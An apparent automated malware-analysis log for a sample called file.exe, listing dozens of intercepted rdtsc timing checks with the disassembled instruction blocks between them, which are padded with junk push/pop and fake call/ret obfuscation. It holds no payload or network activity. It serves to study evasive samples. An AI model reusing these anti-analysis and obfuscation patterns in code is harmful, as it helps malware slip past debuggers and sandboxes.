Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68CF second address: 3F68E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68E0 second address: 3F68E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68E4 second address: 3F68EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68EA second address: 3F68EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68EF second address: 3F68F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68F5 second address: 3F6920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 ja 00007F39B4C7E9C4h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F39B4C7E9B8h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F6920 second address: 3F6926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FC91E second address: 3FC924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FC924 second address: 3FC928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCC4C second address: 3FCC50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCC50 second address: 3FCC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F39B4DF474Ch 0x0000000c jmp 00007F39B4DF4740h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDEEF second address: 3FDEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDF74 second address: 3FDF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE244 second address: 3FE260 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F39B4C7E9BBh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F39B4C7E9B8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE260 second address: 3FE267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FF665 second address: 3FF6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F39B4C7E9B8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 jno 00007F39B4C7E9CDh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F39B4C7E9B8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 or edi, 3CC5C958h 0x0000004b push 00000000h 0x0000004d xchg eax, ebx 0x0000004e jng 00007F39B4C7E9D7h 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FF6DD second address: 3FF6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 401046 second address: 40104B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40191B second address: 401920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402343 second address: 402347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402347 second address: 40234D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402F43 second address: 402F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402F4A second address: 402F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402F50 second address: 402F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403A2F second address: 403AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF4744h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F39B4DF4738h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jne 00007F39B4DF473Bh 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 call 00007F39B4DF4744h 0x00000036 add cl, 00000051h 0x00000039 pop edi 0x0000003a mov eax, dword ptr [ebp+122D2F16h] 0x00000040 popad 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007F39B4DF4738h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 0000001Ah 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d mov si, 7F79h 0x00000061 or esi, 391E07EBh 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c je 00007F39B4DF4736h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403AD7 second address: 403ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 403ADB second address: 403AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4044B3 second address: 4044B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4044B8 second address: 40450D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F39B4DF4736h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov di, 6CF7h 0x00000011 mov si, 7D0Bh 0x00000015 push 00000000h 0x00000017 add dword ptr [ebp+122D3B8Fh], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F39B4DF4738h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 mov dword ptr [ebp+122D2083h], edi 0x0000003f xchg eax, ebx 0x00000040 jmp 00007F39B4DF473Ah 0x00000045 push eax 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40450D second address: 404511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407C4D second address: 407C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40811B second address: 408147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F39B4C7E9B8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push edi 0x00000012 jmp 00007F39B4C7E9C1h 0x00000017 pop edi 0x00000018 je 00007F39B4C7E9BCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402332 second address: 402336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 402336 second address: 402343 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40913A second address: 409142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4083D7 second address: 4083DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409142 second address: 4091C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F39B4DF4738h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push edx 0x00000024 or dword ptr [ebp+122D1F65h], edi 0x0000002a pop ebx 0x0000002b jns 00007F39B4DF4736h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F39B4DF4738h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov bx, FB3Ch 0x00000051 push 00000000h 0x00000053 jmp 00007F39B4DF4745h 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4083DD second address: 4083E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4091C2 second address: 4091C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C8E6 second address: 40C8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40A45E second address: 40A462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C8EA second address: 40C8F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C8F0 second address: 40C939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F39B4DF4749h 0x0000000e nop 0x0000000f mov bx, di 0x00000012 push 00000000h 0x00000014 ja 00007F39B4DF473Ch 0x0000001a and edi, 0A4F23FAh 0x00000020 push 00000000h 0x00000022 movsx edi, bx 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F39B4DF4736h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C939 second address: 40C951 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B4C7E9C0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D956 second address: 40D95C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D95C second address: 40D9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F39B4C7E9BBh 0x00000010 sbb bh, FFFFFFEBh 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 cld 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F39B4C7E9B8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 jnp 00007F39B4C7E9BCh 0x00000039 mov edi, dword ptr [ebp+122D2D96h] 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F39B4C7E9C4h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40D9C0 second address: 40D9DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40DC13 second address: 40DC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EC63 second address: 40EC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F39B4DF473Ch 0x0000000b jne 00007F39B4DF4736h 0x00000011 popad 0x00000012 push eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40EC7B second address: 40EC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410996 second address: 410A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F39B4DF4740h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F39B4DF4738h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b xor dword ptr [ebp+12467FE0h], ebx 0x00000031 sub edi, 4F01564Dh 0x00000037 push 00000000h 0x00000039 call 00007F39B4DF473Dh 0x0000003e pop ebx 0x0000003f and edi, 7F4820B3h 0x00000045 push 00000000h 0x00000047 movsx edi, cx 0x0000004a xchg eax, esi 0x0000004b push ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F39B4DF473Eh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410A19 second address: 410A38 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F39B4C7E9BAh 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F39B4C7E9B6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410A38 second address: 410A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 412A59 second address: 412B0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4C7E9C5h 0x00000008 jmp 00007F39B4C7E9BFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 clc 0x00000012 call 00007F39B4C7E9C9h 0x00000017 jmp 00007F39B4C7E9C5h 0x0000001c pop ebx 0x0000001d push 00000000h 0x0000001f mov di, si 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F39B4C7E9B8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e call 00007F39B4C7E9BCh 0x00000043 mov dword ptr [ebp+122D217Bh], edi 0x00000049 pop edi 0x0000004a add ebx, 7ACAB541h 0x00000050 mov dword ptr [ebp+1243FDD2h], ebx 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F39B4C7E9BEh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4139C7 second address: 4139CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410B3B second address: 410B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 411B1A second address: 411B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 411B1E second address: 411B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 412C86 second address: 412D16 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F39B4DF4747h 0x00000008 jmp 00007F39B4DF4741h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F39B4DF4738h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov di, si 0x0000003d mov eax, dword ptr [ebp+122D12C9h] 0x00000043 mov ebx, edi 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007F39B4DF4738h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 mov di, CDDBh 0x00000065 sub dword ptr [ebp+122D206Eh], ecx 0x0000006b nop 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push esi 0x00000070 pop esi 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 412D16 second address: 412D36 instructions: 0x00000000 rdtsc 0x00000002 je 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39B4C7E9C2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 411BE9 second address: 411BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b ja 00007F39B4DF4736h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 412D36 second address: 412D3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414AA9 second address: 414AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414AAF second address: 414B14 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F39B4C7E9C1h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F39B4C7E9B8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ebx, ecx 0x0000002f push 00000000h 0x00000031 jnc 00007F39B4C7E9B6h 0x00000037 push 00000000h 0x00000039 xchg eax, esi 0x0000003a jmp 00007F39B4C7E9C0h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jno 00007F39B4C7E9B8h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414B14 second address: 414B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 413C1E second address: 413C24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 415C5E second address: 415C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 414CA1 second address: 414CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416BBD second address: 416BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 416BC1 second address: 416BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418C42 second address: 418C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418C48 second address: 418CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F39B4C7E9C9h 0x0000000c nop 0x0000000d jmp 00007F39B4C7E9C3h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F39B4C7E9B8h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+12445CA6h] 0x00000034 call 00007F39B4C7E9C0h 0x00000039 mov edi, edx 0x0000003b pop ebx 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F39B4C7E9B8h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 sub dword ptr [ebp+12445CA6h], ebx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418CED second address: 418CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418CF1 second address: 418D0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418D0B second address: 418D10 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41A6C8 second address: 41A6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
